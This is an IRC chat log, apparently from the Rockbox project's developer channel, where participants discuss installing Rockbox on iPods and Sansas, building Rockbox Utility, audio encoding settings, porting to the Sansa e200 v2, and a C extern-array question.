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| 01:04:36 | JThundley | anyone have a favorite rwps for the x5? |
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| 01:05:04 | JThundley | mine so far is iCatcher, but I hate the stupid volume circle picture that gives you |
| 01:05:33 | Mouser_X | If my PC were working, I'd be more likely to actually work on WPSs... And even compliling my own builds. |
| 01:05:37 | JThundley | not only do you not get a volume number, but when you pause it spins in an animation so you can't tell what your volume is at |
| 01:06:14 | JThundley | what's wrong with your box? |
| 01:06:19 | Mouser_X | JThundley: I have a Gigabeat, and thus no screen on my remote. |
| 01:06:49 | Mouser_X | JThundley: It needs a new power supply. It's been off (as in, unplugged and no power) since early August. |
| 01:07:01 | Mouser_X | I'm on someone else's computer right now. |
| 01:07:11 | Mouser_X | Also, this is off-topic, so I shall say no more. |
| 01:07:37 | JThundley | hah, so strict around here. I admire it though |
| 01:07:58 | Mouser_X | JThundley: That's what #rockbox-community is for. |
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| 01:51:53 | khermans | hey guys, i failed to mention that i am writing a small piece for Linux Journal on Rockbox |
| 01:51:58 | khermans | :-) |
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| 01:52:09 | khermans | i am about to publish something, but wanted to get your input first |
| 01:52:50 | khermans | would you like to review the article and give me some feedback? |
| 01:53:08 | khermans | its about using Rockbox to free your iPod |
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| 02:00:16 | JThundley | cool, I read that |
| 02:00:30 | JThundley | I don't use rockbox on an ipod, but I'd like to read your article |
| 02:03:06 | khermans | JThundley, ok i will make it available very soon |
| 02:03:53 | khermans | i will be onboard with LJ for all of 2008, and you should see my name in the magazine on page 6 if you have a recent issue (Security) |
| 02:04:08 | khermans | −−> Kristian Erik Hermansen |
| 02:04:27 | khermans | loved Rockbox, so had to write an article |
| 02:04:29 | khermans | already donated $20 earlier today as well |
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| 02:14:05 | Llorean | khermans: If you want to get it reviewed by some key developers, you might try press@rockbox.org |
| 02:14:58 | khermans | Llorean, ok then i will send it tonight before i actually publish it |
| 02:15:16 | khermans | its a short but to the point article |
| 02:18:05 | Llorean | Thanks. :) |
| 02:23:29 | Llorean | jhMikeS: Just a note, tests with 320x240 video encoded at the 100 value that ffmpeg suggests still is nearly instant, so at least for the gigabeat, I think anything a user wants will probably work well enough. |
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| 02:41:23 | jhMikeS | Llorean: Bagder gave me a PM and said some video he had that was an hour long was taking a long time to seek but I suspect the encoding since I have videos that long that seek instantly. |
| 02:41:50 | jhMikeS | file about 1GB and there's no perceivable delay. |
| 02:42:58 | Llorean | jhMikeS: This one's about 2 hours long, 320x240, 670MB |
| 02:43:07 | Llorean | No perceivable delay beyond the disk spin |
| 02:43:11 | jhMikeS | Llorean: These parameters that ffmpeg suggests are just whacky. I never enounter professional stuff that uses such long GOP. |
| 02:43:46 | jhMikeS | Llorean: My huge tester was a SVCD file straight up |
| 02:51:49 | jhMikeS | I suppose I'll put some limiting on video I-frame/GOP searches at some point just so sub-optimal videos aren't annoying |
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| 03:09:31 | XavierGr | sorry if this is in the manual but how do you turn on an ipod video? |
| 03:09:51 | XavierGr | I just got one from a friend and installed rockbox on it |
| 03:09:54 | jhMikeS | stroke it gently? :p |
| 03:10:05 | XavierGr | but now I don't know how to turn it on :\ |
| 03:10:46 | jhMikeS | My sister has one and I just pushed buttons at random and something worked |
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| 03:11:34 | XavierGr | nevermind I pressed menu-select for a long time but didn't restart |
| 03:11:48 | XavierGr | eh, strange behaviour |
| 03:11:59 | XavierGr | it just booted on it self |
| 03:12:17 | XavierGr | it sees that menu does the trick |
| 03:12:20 | XavierGr | weird thing |
| 03:12:25 | jhMikeS | Her's isn't rockboxed though so I haven't been through other drills with it. |
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| 03:25:11 | Llorean | jhMikeS: I've arranged to borrow an iPod Video, so I'll compare that same video in the worst-case hardware later. |
| 03:30:11 | jhMikeS | Llorean: It works quickly on e200, H10 and 3g if GOPs are frequent enough. |
| 03:31:01 | khermans | the draft article |
| 03:31:03 | khermans | http://www.kristian-hermansen.com/tmp/install-rockbox-ipod-ljarticle.txt |
| 03:31:24 | khermans | and script i threw together for one-click installation for common video ipods |
| 03:31:24 | Llorean | jhMikeS: Well, I'm trying to write new presets for WinFF, since ffmpeg's expected parameters have changed a bit, and there's a new version of WinFF and everything |
| 03:31:25 | khermans | http://www.kristian-hermansen.com/tmp/install-rockbox-ipod.sh |
| 03:32:15 | jhMikeS | Llorean: after using WinFF I'm seriously considering just doing my own. It's rather quirky in a bad way imo. |
| 03:32:21 | Llorean | Yeah |
| 03:32:39 | Llorean | It's far from perfect, but it's a lot less complicated than all these other all-in-one solutions with four million options. |
| 03:33:19 | khermans | Llorean, i found this method of installation to be painless, but rockbox manual installation can be done if the readers like |
| 03:33:32 | khermans | hope you guys have input on the article |
| 03:33:42 | khermans | tentative title is "OGG, FLAC, and more on your iPod!" |
| 03:33:56 | Llorean | khermans: We don't recommend people use other methods of installation, since those often break if our method changes. We're moving people to the RBUtility, as it's mostly usable now |
| 03:34:00 | khermans | will appear on LinuxJournal.com in 48 hours |
| 03:34:11 | khermans | Llorean, i figured as much |
| 03:34:23 | khermans | in the article, i mention that this only works for 30, 60. and 80 gb Ipods |
| 03:34:33 | khermans | and that it will simply work on those models |
| 03:34:41 | khermans | if they have something else, move to manual installation on the site |
| 03:34:46 | Llorean | khermans: Does it distinguish between the 30gb build and the 60/80 gb build? |
| 03:34:53 | khermans | but a full article on manual installation seemed a bit much |
| 03:34:55 | khermans | Llorean, no |
| 03:35:12 | khermans | Llorean, but i read in the shell variable |
| 03:35:39 | khermans | whatever they type −− if it is 60/80 it is same function |
| 03:35:39 | Llorean | jhMikeS: If you do decide to do your own whatever, if it's usable it might be a good addition for RBUtil. |
| 03:36:05 | khermans | Llorean, do you have a simple automated installer, because although I may be able to futz around and install Rockbox, i think a lot of the LJ reader-base are quite naive |
| 03:36:23 | Llorean | One significant annoyance I have with ffmpeg is that it doesn't have a a "maintain proportions" option of some sort. I really feel I should be able to set a maximum width and height, and let it scale the video to fit within them. Other than that, I'd be quite happy with RBUtil just offering a basic front end for it, with hard coded presets, and you just pick your player |
| 03:36:37 | Llorean | But as it stands, for ffmpeg, you'd still have to pick the aspect ratio of your input file, or end up with weird looking output. |
| 03:36:51 | Llorean | khermans: RBUtility is the automated installer |
| 03:36:58 | Llorean | khermans: ipodpatcher is the more complicated method |
| 03:37:07 | khermans | Llorean, cant you just use -sameq ? |
| 03:37:09 | Llorean | RBUtility can, with many players, automatically detect the player and model. |
| 03:37:21 | khermans | Llorean, what are pros and cons? |
| 03:37:28 | Llorean | khermans: -sameq affects the bitrate. Basically it just makes it use the lowest possible quantization value, and hope for the best. |
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| 03:38:04 | Llorean | khermans: "Pros" are "Requires little or no technical knowledge." Cons are "If it can't automatically detect where your player is, you may actually find the manual install slightly easier" |
| 03:38:06 | khermans | Llorean, well i also noticed that no addons are automatically installed |
| 03:38:11 | Llorean | "Addons"? |
| 03:38:20 | khermans | Llorean, themes, games, etc |
| 03:38:26 | Llorean | Games are automatically installed |
| 03:38:31 | Llorean | All the official plugins are there |
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| 03:38:41 | khermans | Llorean, oh let me check which plugins i pulled in |
| 03:38:45 | Llorean | RBUtility gives you the option to download themes, the font package, etc. |
| 03:39:07 | khermans | Llorean, fonts |
| 03:39:19 | khermans | ahh interesting... |
| 03:39:38 | Llorean | The manual installation process requires you to download fonts separately. They change so rarely, and are such a large percentage of the archive size that we don't feel every download needs to include them |
| 03:40:31 | khermans | Llorean, you include Doom in the automated instakller as an option? |
| 03:40:35 | khermans | i am about to test this one |
| 03:40:46 | Llorean | I don't know of the freedoom package is listed as an option, honestly |
| 03:41:57 | khermans | "Warning: Autodetection is unable to distinguish between the Ipod 30 GB and 60 GB / 80 GB models and defaults to the 30 GB model. This will usually work but you might want to check the detected value, especially if you experience problems with Rockbox." |
| 03:42:11 | khermans | would have b0rked my 30gb i think |
| 03:42:19 | khermans | i mean, i have an 80gb |
| 03:44:18 | khermans | so is this link outdated? −−> http://www.rockbox.org/twiki/bin/view/Main/IpodInstallationFromLinux |
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| 03:45:14 | Llorean | khermans: No instructions should be followed except those in the manual |
| 03:45:29 | Llorean | khermans: And there's no harm in installing a 30gb build to an 80gb iPod. It's the other way around that's problematic |
| 03:49:49 | karim | salut |
| 03:51:27 | khermans | hrmm "unsuported install Method" in rbutil |
| 03:51:34 | * | khermans checks faq |
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| 03:53:30 | khermans | rbutil seems to hang on my IPOD |
| 03:56:26 | khermans | Llorean, is the svn version worth checking out and building of rbutil? |
| 03:58:06 | Llorean | Probably |
| 03:58:10 | Llorean | I think it might have a few fixes. |
| 03:58:15 | Llorean | Specifically with the autodetection. |
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| 03:59:14 | khermans | Llorean, hehe 50MB of qt dev files to go :-0 |
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| 04:01:19 | khermans | make[1]: *** No rule to make target `rbspeex', needed by `rbutilqt'. Stop. |
| 04:02:00 | Llorean | How much of the Rockbox source tree did you check out? |
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| 04:02:20 | khermans | svn co svn://svn.rockbox.org/rockbox/trunk/rbutil rbutil |
| 04:02:39 | Llorean | I don't think that'll be enough, since you won't get the tools folder, I imagine. |
| 04:02:43 | khermans | qmake && make |
| 04:02:43 | * | Llorean isn't sure. |
| 04:02:44 | khermans | completed |
| 04:03:08 | khermans | Llorean, following this |
| 04:03:08 | khermans | http://www.rockbox.org/twiki/bin/view/Main/RockboxUtility |
| 04:03:17 | Llorean | I personally haven't played with the utility yet. I know it's the recommended method, but I can't get over the old habit of doing everything manually |
| 04:03:46 | Llorean | I would imagine that page hasn't been updated by someone who knows how the dependency on the speex encoder for talk file generation works. |
| 04:04:22 | Llorean | Or perhaps rbspeexenc needs to be added to the checkout. I don't really know how SVN itself works, if it's folder based, or tag based somehow, or what |
| 04:04:23 | khermans | Llorean, i can just edit the Makefile of course |
| 04:04:47 | Llorean | khermans: Well the issue is having the right files, more than telling it where they are. :) |
| 04:05:42 | khermans | ill just checkout full TRUNK |
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| 04:08:06 | khermans | Llorean, k worked −− had to do full TRUNK co |
| 04:09:11 | khermans | some hefty code! |
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| 04:17:13 | saratoga | has anyone else noticed that hitting back on the Sansa doesn't actually let you skip to the previous track? |
| 04:17:25 | saratoga | or is that only on my sansa |
| 04:20:08 | khermans | Llorean, SVN version works much better! |
| 04:20:27 | khermans | got it built and installed here on Ubuntu Gutsy |
| 04:20:41 | khermans | running great and finishing up Rockbox tranfer |
| 04:20:51 | Llorean | khermans: When it works, it works quite well. :) |
| 04:20:53 | khermans | themes mysteriously failed though |
| 04:21:03 | Llorean | The theme site is actually undergoing change |
| 04:21:09 | khermans | Llorean, ahh... |
| 04:21:53 | Llorean | The site's been seeing way too much bandwidth usage. |
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| 04:23:18 | khermans | oh no, my ipod bricked :-( |
| 04:24:16 | khermans | just messing with ya... :pP |
| 04:24:31 | saratoga | wow blackhawk actually submitted a patch for his project |
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| 04:34:15 | Llorean | khermans: Considering that it's for all practical purposes impossible to brick an iPod without either an official Apple update or tools not provided by the Rockbox project, I wasn't gonna believe you anyway. :-P |
| 04:34:29 | Llorean | saratoga: Is it in a usable state at all or does it still contain like 40 other patches? |
| 04:34:49 | khermans | heh |
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| 04:35:19 | saratoga | Llorean: he appears to have removed the other patches |
| 04:35:24 | Llorean | Good to hear. :) |
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| 04:35:27 | saratoga | though his diff contains his build directory too I think |
| 04:35:38 | saratoga | but thats harmless enough aside from making the file size huge |
| 04:35:41 | Llorean | Hehehe |
| 04:35:42 | Llorean | Yeah |
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| 04:43:28 | ddalton | hey can someone check the document I am about to read to make sure it is on arm which will help me with the e200 v2 port? |
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| 04:50:33 | pikhq | saratoga: Hmm. I'm not seeing that behavior on my Sansa. |
| 04:50:59 | * | pikhq just set up Rockbox yesterday, though; maybe you have an older build? |
| 04:51:01 | saratoga | pikhq: when I'm playing a file, I hit back and it skips to the start |
| 04:51:18 | pikhq | Hmm. |
| 04:51:21 | saratoga | no matter how fast i jam it down again, it doesn't play the previous track, just keeps reseting the current one |
| 04:51:29 | saratoga | doesn't happen for you? |
| 04:51:36 | Llorean | saratoga: What format? |
| 04:51:37 | pikhq | Oh. . . |
| 04:51:39 | pikhq | Hmm. |
| 04:51:43 | saratoga | mp3 |
| 04:51:56 | pikhq | Mine goes to the start, and if I hit back again, it goes back a song. |
| 04:52:05 | pikhq | Also on MP3. |
| 04:52:55 | pikhq | ("The Else", by They Might Be Giants, downloaded from eMusic, if it matters) |
| 04:53:46 | saratoga | just updated and it seems to work normally |
| 04:53:53 | saratoga | must have been a quirk with that one build |
| 04:53:58 | pikhq | Odd. |
| 04:54:01 | saratoga | thanks for the heads up |
| 04:54:05 | Llorean | It's frustrating when that happens |
| 04:54:26 | Llorean | You never know if it's a bug that'll come back and needs fixing, or something more or less random and bad luck |
| 04:56:34 | khermans | Llorean, hainv gTuring problems I see? |
| 04:57:07 | khermans | provability of software is impossible :-) |
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| 05:06:03 | ddalton | has anyone here got a sansa e200? |
| 05:06:12 | * | pikhq raises his hand |
| 05:06:23 | ddalton | what model? v1 or 2? |
| 05:06:26 | pikhq | v1 |
| 05:06:44 | pikhq | I gather that you're wanting someone to help you test a v2 port? |
| 05:06:53 | ddalton | oh ok. sorry I should have said v2. I am trying to work out the recovery mode. has anyone done this yet? |
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| 05:10:10 | ddalton | ok does anyone know where the unbrick wiki sansa e200 rockbox page is? |
| 05:11:18 | psycho_maniac | http://www.rockbox.org/twiki/bin/view/Main/SansaE200Unbrick |
| 05:11:28 | psycho_maniac | took 10 seconds to find |
| 05:11:36 | ddalton | yeah ok. |
| 05:14:01 | saratoga | there may not be a recovery mode on the V2 sansas, lots of players just have an emergency USB mode (Ipod) and that seems to work better |
| 05:15:50 | ddalton | saratoga: a guy in the forums reckons switching hold on then holding menu down while plugging in the usb cable gets you into disk mode. or actually recovery mode... |
| 05:18:02 | ddalton | saratoga: wait I'll look for a link. |
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| 05:20:31 | ddalton | anyone seen this? Is it true? or is it someone in the forums not knowning what they are talking about? http://forums.rockbox.org/index.php?topic=13961.msg109030 |
| 05:20:48 | ddalton | knowing |
| 05:21:30 | ddalton | well he can't press the right keys on his keyboard. I needed to use braille to read his message. Couldn't understand it with speech. |
| 05:23:53 | ddalton | saratoga: Did you see the message I posted? |
| 05:24:01 | ddalton | bagder: around? |
| 05:26:30 | ddalton | my findings make sense to me, however, I would like to confirm them somewhere. |
| 05:27:20 | saratoga | ddalton: do you have a v2? |
| 05:27:38 | ddalton | yes but I am blind and can't read the screen at the minute. |
| 05:27:50 | saratoga | of course, i forgot that would be a problem |
| 05:27:51 | ddalton | I need to get scanners and stuff set up for the port and haven't yet done so. |
| 05:28:58 | ddalton | saratoga: If I get the v2 into disk mode is there a chance of bricking by just putting it into disc mode? |
| 05:29:08 | ddalton | if not how do I get back out of disk mode? |
| 05:30:00 | saratoga | i think if you put it into recovery mode you can just reboot it |
| 05:30:24 | ddalton | oh so it won't break? and to reboot is that just a long press of menu? |
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| 05:48:20 | khermans | even after encoding to m4a using faac and the -w option to make an MPEG4 container −− still not playing on Rockbox |
| 05:49:11 | Llorean | What AAC profile are they encoded as? |
| 05:49:46 | khermans | Llorean, profile? |
| 05:49:57 | khermans | i just did −−> faac -b 32 -w foo.wav foo.m4a |
| 05:49:57 | Llorean | AAC has several profiles. |
| 05:50:02 | Llorean | HE, LTP, LE, etc. |
| 05:50:05 | Llorean | er LC, not LE |
| 05:50:26 | khermans | 01.m4a: ISO Media, MPEG v4 system, version 2 |
| 05:50:30 | khermans | file reports that |
| 05:50:35 | Llorean | That doesn't tell what profile. |
| 05:50:41 | khermans | how can i tell then? |
| 05:50:51 | Llorean | I don't know |
| 05:50:53 | khermans | mplayer -identify ? |
| 05:51:12 | khermans | Opening audio decoder: [faad] AAC (MPEG2/4 Advanced Audio Coding) |
| 05:51:25 | khermans | AUDIO: 44100 Hz, 2 ch, s16le, 31.9 kbit/2.26% (ratio: 3985->176400) |
| 05:51:34 | khermans | looks like LE ? |
| 05:51:37 | khermans | s16le |
| 05:51:40 | Llorean | No, it doesn't |
| 05:51:41 | psycho_maniac | Im just curious. Do the files work on your computer? |
| 05:51:45 | Llorean | That's just the output stream type |
| 05:51:47 | khermans | Selected audio codec: [faad] afm: faad (FAAD AAC (MPEG-2/MPEG-4 Audio) decoder) |
| 05:52:02 | Llorean | That still doesn't tell the profile |
| 05:52:05 | khermans | ISO: File Type Major Brand: ISO/IEC 14496-1 (MPEG-4 system) v2 |
| 05:52:23 | Llorean | Look, pasting everything in here won't help |
| 05:52:28 | Llorean | Just google up some method of identifying |
| 05:52:44 | khermans | i didnt know if you knew the info for that |
| 05:52:50 | Llorean | I know some people were getting LTP AACs out of Faac, or claiming to, and at a ridiculously low bitrate like that it might default to it |
| 05:53:17 | Llorean | I already said I don't know how to identify it. Unless something says clearly "Profile:" or "XX-AAC" I'm unlikely to know |
| 05:54:19 | Llorean | Why not try using a realistic bitrate. 96kbps or so? |
| 05:54:36 | khermans | Llorean, well its audiobook |
| 05:54:40 | Llorean | Then use speex |
| 05:54:48 | khermans | Llorean, i did −− bugs remember :-) |
| 05:54:54 | khermans | @ 16000 khz |
| 05:55:09 | Llorean | Are you sure it's a bug, and not simply an artifact of the low bitrate? |
| 05:55:19 | Llorean | Do you honestly expect something not tuned for speech to actually have better sounding audio at that bitrate? |
| 05:55:20 | khermans | however, the quality sounded pretty good for OGG/Vorbis 32kbps mono |
| 05:55:47 | khermans | Llorean, i would think that by tuning the freq specifier that wouldn't matter |
| 05:55:59 | khermans | i can cut off signals above 8khz |
| 05:56:00 | Llorean | The frequency specifier? |
| 05:56:03 | khermans | yes |
| 05:56:13 | Llorean | You mean a highpass filter? |
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| 05:56:21 | khermans | Llorean, right |
| 05:56:24 | Llorean | Or lowpass filter rather |
| 05:56:41 | khermans | i can remove the highs that are out of voice range |
| 05:56:45 | khermans | thats a big savings |
| 05:57:04 | Llorean | Yeah, but that doesn't make the codec any better at encoding speech. |
| 05:57:24 | khermans | Llorean, i would have to agree |
| 05:57:46 | Llorean | You should experiment further with speech, I can get perfectly acceptable output out of it in Rockbox. |
| 05:57:59 | khermans | Llorean, what setting are you using ? |
| 05:58:01 | Llorean | Err, speex |
| 05:58:07 | Llorean | Don't remember, I encoded them nearly a year ago |
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| 05:58:26 | khermans | 32khz stereo? |
| 05:58:34 | khermans | i tried 16khz mon but didnt fly |
| 05:58:40 | khermans | some bugs |
| 05:58:44 | Llorean | No, it was 16khz mono |
| 05:58:57 | khermans | you did the same and saw no problems? |
| 05:59:03 | khermans | and you used sppexenc ? |
| 05:59:24 | khermans | 8bit or 16bit frames? |
| 05:59:25 | Llorean | Yeah |
| 05:59:30 | khermans | from WAV |
| 05:59:34 | Llorean | 16 bit |
| 05:59:39 | khermans | hrmm, i used 8bit |
| 05:59:46 | khermans | -b option from sox |
| 05:59:47 | Llorean | Why? |
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| 06:00:05 | khermans | they sounded fine in the output WAV |
| 06:00:08 | Llorean | If you're willing to go up to 32kbps in AAC, do a 32kbps Speex |
| 06:00:22 | khermans | thats essentially what i did |
| 06:00:38 | khermans | but perhaps some other option i chose was casuing issues |
| 06:00:48 | khermans | i know i did −−vad |
| 06:00:53 | khermans | and −−vbr |
| 06:01:09 | khermans | which could be partly the cause i suppose |
| 06:01:26 | Llorean | The only parameters I used were the one for wideband, and the one for quality, if I recall |
| 06:01:35 | Llorean | The input was already a 16-bit mono wav. |
| 06:02:04 | khermans | Llorean, you chose quality over a VBR specifier? |
| 06:02:09 | khermans | hrmm ill try that instead |
| 06:02:28 | khermans | i was under the impression that VBR was superior, unless you were streaming |
| 06:02:43 | khermans | because then some high data blocks would snag CPU |
| 06:02:51 | khermans | and cause latency |
| 06:03:04 | Llorean | khermans: The codec is intended for you to pick a quality. |
| 06:03:05 | khermans | it was noted in the docs too |
| 06:03:17 | Llorean | Just like vorbis. |
| 06:03:28 | khermans | default is 8 |
| 06:03:33 | khermans | i set -b 32 |
| 06:03:37 | Llorean | I think I used 6, but I really cant remember. |
| 06:03:40 | Llorean | Don't set a bitrate. |
| 06:03:43 | khermans | never? |
| 06:03:46 | Llorean | Never. |
| 06:03:51 | khermans | Llorean, oh really? |
| 06:03:55 | Llorean | You're forcing it into a box you don't need to. |
| 06:04:00 | khermans | Llorean, does the encoder autodetect? |
| 06:04:05 | khermans | how can it know!?? |
| 06:04:08 | Llorean | That's what quality is. |
| 06:04:17 | khermans | lol |
| 06:04:27 | Llorean | It'll pick bitrates as it goes appropriate for encoding those samples at that relative quality |
| 06:04:29 | khermans | i guess i never looked at it that way |
| 06:04:36 | Llorean | If your file ends up too big, try a lower quality setting. |
| 06:04:44 | khermans | very interesting |
| 06:04:49 | khermans | this could be the cause of all my issues |
| 06:04:57 | khermans | and this would go for any codec? |
| 06:05:17 | Llorean | Not necessarily |
| 06:05:21 | khermans | i mean, back in the lame days, literally, i dont remember quality settings |
| 06:05:26 | Llorean | But vorbis/speex especially |
| 06:05:32 | khermans | i remember setting either my CBR or VBR |
| 06:05:34 | Llorean | lame has always had things like preset-standard |
| 06:05:55 | khermans | Llorean, very good to know though |
| 06:06:20 | Llorean | Setting a bitrate is only really useful if you have a target final file size. |
| 06:06:28 | khermans | Llorean, so i assume that this quality setting encodes and compares the output wav form to the input wave form to see how decrepit it is |
| 06:06:48 | khermans | so, for .8 would signify 80% retention of original wve form? |
| 06:06:54 | Llorean | It'll pretty much always get inferior results overall because the encoder will be allocating bits based on an attempt to hit a target filesize, rather than attempting to hit a target quality for each frame. |
| 06:06:56 | khermans | is this correct? |
| 06:06:58 | Llorean | No |
| 06:07:05 | Llorean | The numbers don't really represent anything absolute |
| 06:07:12 | Llorean | It's just like the 1 to 10 on a volume knob. |
| 06:07:21 | Llorean | They just mean "worse" or "better" |
| 06:07:26 | khermans | Llorean, usually it is linear :-) |
| 06:07:39 | khermans | Llorean, well i am no dummy,. just to this |
| 06:07:42 | Llorean | Linear, but they don't represent the original loudness in any way, just the range of your system. |
| 06:07:53 | Llorean | 10 on your speakers may be considerably louder than the song was played. |
| 06:09:00 | Llorean | Speex is unlikely to ever reproduce 100% accurately the original wavform, it's the nature of lossy compression: it discards things. |
| 06:09:07 | khermans | i have written visual detection algorithms and variations on gaussian filtering and canny/sobel edge detection |
| 06:09:38 | khermans | of course, i understand the lossy issue |
| 06:09:45 | khermans | if I wanted something losless, i would use flac |
| 06:10:05 | Llorean | Indeed |
| 06:10:40 | Llorean | But really, the speex files I still have sound fine, except a couple where I had to do a lossy->lossy transcode, and there's already some artifacts |
| 06:11:46 | khermans | Llorean, well actually this particular sample is from lossy (mp3) original |
| 06:12:09 | khermans | i guess that gives the encoder a significant disadvantage |
| 06:12:43 | ddalton | hey do I have any chance at getting the docs from ams for the AS3525? |
| 06:12:48 | Llorean | khermans: A very significant one. |
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| 06:13:34 | Llorean | ddalton: I thought that the docs for that were already available. That's the SoC in the v2 sansas, right? |
| 06:14:44 | ddalton | yeah. but is bagder allowed to let me view them? |
| 06:15:14 | ddalton | what is "SoC"? |
| 06:15:19 | Llorean | System on a Chip |
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| 06:16:06 | ddalton | yeah. ok thanks. so is bagder allowed to show me them? |
| 06:16:53 | Llorean | I don't know. |
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| 06:19:45 | ddalton | ok well if he can't give me a copy I found a form to get the docs. |
| 06:19:48 | ddalton | or data sheet. |
| 06:20:00 | ddalton | is that what we want "data sheet"? |
| 06:20:40 | ddalton | and it asks for the company. is that just rockbox in our case? |
| 06:21:07 | Llorean | Rockbox isn't a company |
| 06:21:10 | ddalton | ah yep he got the data sheat... |
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| 06:21:59 | ddalton | anyone here own a sansa v2 e200? |
| 06:32:19 | ddalton | Llorean: I know. so what do we say in that field? |
| 06:32:34 | Llorean | I don't know |
| 06:32:52 | Llorean | But I wouldn't put "Rockbox" unless you're willing to accept any responsibility if they come back with questions about how we intend to use it, etc. |
| 06:33:01 | * | ddalton Checks if its required. |
| 06:33:08 | Llorean | Basically, unless you plan to try to act as a representative for the whole project. |
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| 06:43:16 | ddalton | ok I'll ask some other devs. I want to do this port but want to get as many docs as I can... |
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| 06:49:14 | saratoga | ddalton: until you've got a way to update the firmware on teh V2s, having the datasheet probably won't help a whole lot |
| 06:49:40 | saratoga | its just going to tell you how to initialize things, how dma works, interupts, etc, and thats not going to be much use until you can actually upload code |
| 06:50:10 | saratoga | Llorean: whenever someone complains about faac in rockbox we should just tell them to stop using faac |
| 06:50:30 | saratoga | its literally worse then every other lossy codec we support in rockbox |
| 06:50:54 | saratoga | theres no reason to ever use it |
| 06:52:22 | Llorean | saratoga: Is there any other linux-native AAC encoder? |
| 06:52:36 | saratoga | i don't know |
| 06:52:40 | Llorean | Heh |
| 06:52:46 | saratoga | probably not |
| 06:52:50 | Llorean | Our decoder is problematic enough anyway |
| 06:52:57 | saratoga | theres hardly any aac encoders actually, let alone good ones |
| 06:53:05 | Llorean | The codec's *huge*, has problems with long file, and every now and then we find more broken metadata parsing |
| 06:53:30 | saratoga | really the answer to problems with faac encoded files is "use vorbis" |
| 06:53:36 | Llorean | Hahaha |
| 06:53:43 | pikhq | I'll second that. |
| 06:53:56 | * | pikhq is of the opinion that only Vorbis and Flac should be used anyways, so. . . |
| 06:54:21 | Llorean | I encoded AC3->Faac earlier for a video, and it didn't sound noticeably bad, but I have tin ears anyway. |
| 06:55:16 | saratoga | i sat down and read the ac3 format spec a while back |
| 06:55:22 | saratoga | theres a format i can really hate |
| 06:55:38 | saratoga | its like they sat down and asked "how can i make something so much worse then mp3" |
| 06:55:48 | Llorean | Hahaha |
| 06:56:30 | Llorean | Well, both the DVD format, and now I'm thinking High Definition video disk formats as well, are crazy I think. |
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| 06:57:21 | Llorean | I fear I'll never understand why you'd include both uncompressed and lossy compressed soundtracks on the same disk if the standard *requires* that the player be able to handle the uncompressed one. |
| 06:57:50 | saratoga | isn't the uncompressed only 2 channel most of the time? |
| 06:58:02 | Llorean | No |
| 06:58:10 | Llorean | PCM 5.1 on the disks I own that have it |
| 06:58:24 | saratoga | that is really odd |
| 06:58:24 | Llorean | I think there's also a lossless format they have to support. Dolby TrueHD, iirc, is losslessly compressed. |
| 06:58:39 | saratoga | this is HD-DVD/Bluray? |
| 06:58:42 | Llorean | Yep |
| 06:58:48 | saratoga | oh ok |
| 06:59:00 | Llorean | Just silly formats. |
| 06:59:09 | pikhq | I think I know why: encourage people to spend more money because large movies get shoved into 2 discs. |
| 06:59:31 | ddalton | how did we do the h300 port with out a recovery mode? |
| 06:59:32 | pikhq | Rather than, say, 1 disc for several movies. |
| 06:59:47 | pikhq | (seriously: 6 channel lossy, lossless, *and* uncompressed?!?) |
| 06:59:57 | saratoga | that or maybe to justify those expensive new smaller wavelength lasers |
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| 07:00:21 | Llorean | ddalton: Special hardware to recover bricked players |
| 07:00:30 | pikhq | I'd say having a high-quality HD signal could be used to justify that if they didn't *waste* it. |
| 07:00:39 | Llorean | The Lossless isn't mandatory, apparently |
| 07:00:54 | pikhq | Honestly? One lossless stream, one very high-quality video stream. |
| 07:00:58 | Llorean | For Bluray, 100% optional. For HDDVD, the player MUST be able to decode the lossless, but it's only required to decode the primary 2 channels, not all of it |
| 07:01:01 | saratoga | non mandatory formats make no sense |
| 07:01:07 | Llorean | Agreed |
| 07:01:33 | ddalton | Llorean: ah. So if I find a disk mode and run the worse bit of code I could think off it bricks it completely then can I restore it and get it working again since it has a recovery mode? |
| 07:01:53 | Llorean | ddalton: Not necessarily |
| 07:02:00 | saratoga | assuming you don't corrupt the NAND flash you'll generally be ok |
| 07:02:01 | ddalton | why? |
| 07:02:02 | Llorean | ddalton: Depending on the player, you could accidentally remove the disk mode |
| 07:02:27 | saratoga | you can certainly brick a sansa if you screw up the flash memory though, since music and the bootloader are all on the chip |
| 07:02:29 | ddalton | oh. but isn't the disk mode and the fw different? separate? |
| 07:02:40 | Llorean | Not always |
| 07:02:57 | Llorean | saratoga: There's always that preboot mode, right? |
| 07:03:01 | Llorean | On the e200 regular? |
| 07:05:03 | saratoga | i assume thats in the same chip too, unless theres some ROM in the pp5024 itself |
| 07:05:29 | Llorean | Well, it's called "preboot" so it might be. |
| 07:05:42 | Llorean | If I recall correctly it identifies itself with a completely different device ID |
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| 07:16:02 | saratoga | stupid question about c: if I declare an array in a header file, and then include that header into two seperate c files, does it create two seperate copies of that array or is the compiler smart enough to know there should be one copy shared between the two files |
| 07:18:13 | hcs | In the header the array should be marked with extern, so that files you include it from know what type it is. The actual definition of the array should actually be in a .c file somewhere. |
| 07:18:45 | hcs | One instance is the definition, the other is the declaration, I can never remember which is which. |
| 07:19:43 | saratoga | thats what i was thinking, but if i declare the array as an extern in the c file, the codec segfaults trying to access it |
| 07:20:42 | hcs | could you maybe pastebin the relevant snippits? |
| 07:20:43 | saratoga | though surprisingly the linker gives no errors |
| 07:23:25 | saratoga | here you go: |
| 07:23:25 | saratoga | http://pastebin.ca/833432 |
| 07:25:20 | hcs | other way around, the extern float pow_10_to_yover16[] should go in the .h, and the const float pow_10_to_yover16[] in either wma.c or wmadec.c |
| 07:26:18 | hcs | I think you just have a local float * in decode_exp_vlc |
| 07:27:06 | saratoga | extern goes where you're using the variable, not where you actually allocate space for it i think |
| 07:27:14 | ddalton | do you need to go into recovery mode to update the of on the e200? |
| 07:27:26 | Llorean | ddalton: No |
| 07:27:27 | saratoga | ddalton: you don't have to but its one way to do it |
| 07:28:05 | ddalton | oh. so why is it so hard to find how to put the v2 into recovery mode? surely this isn't secret info like data sheats... |
| 07:28:40 | ddalton | I believe its hold on plug in your sansa while holding menu on the v2 and rec on the v1. but this is from a guy in the forums and I am not sure how true that is... |
| 07:29:12 | ddalton | he was talking about holding menu for the v2 he didn't mention the v1. I found the v1 stuff on wiki. |
| 07:29:53 | hcs | saratoga: The compiler is confused, otherwise it would be complaining that your extern float * declaration isn't const |
| 07:29:58 | ddalton | saratoga: do you have a v2? |
| 07:30:40 | saratoga | ddalton: no v1 |
| 07:30:51 | ddalton | oh |
| 07:31:00 | ddalton | do any devs have a v2? |
